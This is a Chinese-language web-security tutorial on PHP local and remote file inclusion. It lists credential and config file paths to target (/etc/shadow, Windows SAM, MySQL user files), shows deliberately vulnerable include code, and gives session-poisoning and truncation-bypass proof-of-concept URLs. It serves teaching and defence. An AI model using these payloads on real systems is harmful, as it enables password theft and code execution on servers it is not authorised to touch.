一、简介
在执行php文件时,可以通过文件包含函数来加载另一个文件中的php代码,不管什么类型的文件都会当php文件来解析。而如果没有对传入的文件名经过合理的校验,通过文件包含漏洞,可以读取系统中的敏感文件,如密码文件,通过对密码文件进行暴力破解。若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制。另外不管是本地文件包含还是远程文件包含,文件包含漏洞还可能导致执行任意代码。
PHP文件包含函数:
require() //在包含的过程中出错,比如文件不存在等,则会直接退出,不执行后续语句。 require_once() include() //如果出错的话,只会提出警告,会继续执行后续语句 include_once() file_get_contents() readfile() fopen()
二、分类
文件包含漏洞分为本地文件包含(Loacl File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)
三、敏感信息路径
3.1 Windows系统
c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息 c:\windows\my.ini // MySQL 配置文件
3.2 Linux系统
/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件
四、本地文件包含 LFI
顾名思义,本地文件包含就是包含本地文件,可以通过浏览器包含web服务器中上的文件。漏洞的利用就在于,文件包含函数中加载的参数没有经过过滤或者严格的定义,攻击者能够控制包含函数中的动态变量
4.1 无任何限制
index.php
<?php $file=$_GET['file']; include($file); ?>
info.txt
<?php phpinfo(); ?>

4.2 指定后缀名
<?php $file=$_GET['file'].'.php'; echo $file; include $file; ?>

五、远程文件包含 RFI
指能够包含远程服务器上的文件并且执行。而远程服务器上面的文件自然攻击者是可控制的,因此此漏洞的存在危害很大。RFI的利用条件需要:
//php.ini allow_url_fopen = On allow_url_include = On

在php.ini
中,默认的allow_url_fopen
是开启的,而php5.2之后,默认allow_url_include
就是关闭的
六、包含姿势
6.1 包含session
可以通过读取phpinfo
的信息获取session
的存储位置

通常情况下session的默认存储位置为:
/var/lib/php/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
session
文件名格式为:sess_[PHPSESSID]
,要利用此漏洞的话,需要能够控制部分sesssion
文件的内容。
<?php session_start(); $yoloyanng=$_GET['yoloyanng']; $_SESSION["username"]=$yoloyanng; ?>
访问:localhost/index.php?yoloyanng=yolloyanng

6.2 包含日志
在知道知道服务器日志的存储路径,且日志文件可读的条件先可以利用
七、绕过姿势
7.1 00截断
条件:magic_quotes_gpc=off,PHP版本小于5.3.4 【POC】 http://www.example.com/index.php/?file=shell.php%00
7.2 路径长度截断
条件:php版本小于5.2.8(?),linux:文件名长于4096,windows:文件名长于256
7.3 点号截断
条件:php版本小于5.2.8(?),只适用于windows,点号长于256
7.4 问号绕过
<?php include $_GET['file'].".html" ?>
在RFI中,可以通过(?)绕过I
【POC】http://www.example.com/index.php?file=http://127.0.0.1/file/info.txt?
7.5 #号绕过
【POC】http://www.example.com/index.php?file=http://127.0.0.1/file/info.txt%23
八、php伪协议
file:// 协议:用于访问本地文件系统 ——usage:file:// [文件的绝对路径和文件名] php:// 协议:访问各个输入/输出流(I/O streams) php://filter用于读取源码,php://input用于执行php代码,php://filter 读取源代码并进行base64编码输出 zip://, bzip2://, zlib://协议:均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名 ——usage:zip:// [压缩文件绝对路径]#[压缩文件内的子文件名] data:// 协议: phar:// 协议:将php文件归档到一个文件包里面
九、参考
(1)https://www.freebuf.com/articles/web/182280.html
(2)https://www.cnblogs.com/iamstudy/articles/include_file.html
(3)http://www.myh0st.cn/index.php/archives/494/
(4)https://www.4hou.com/technology/10236.html
(5)https://chybeta.github.io/2017/10/08/php文件包含漏洞/
(6)https://www.secpulse.com/archives/55769.html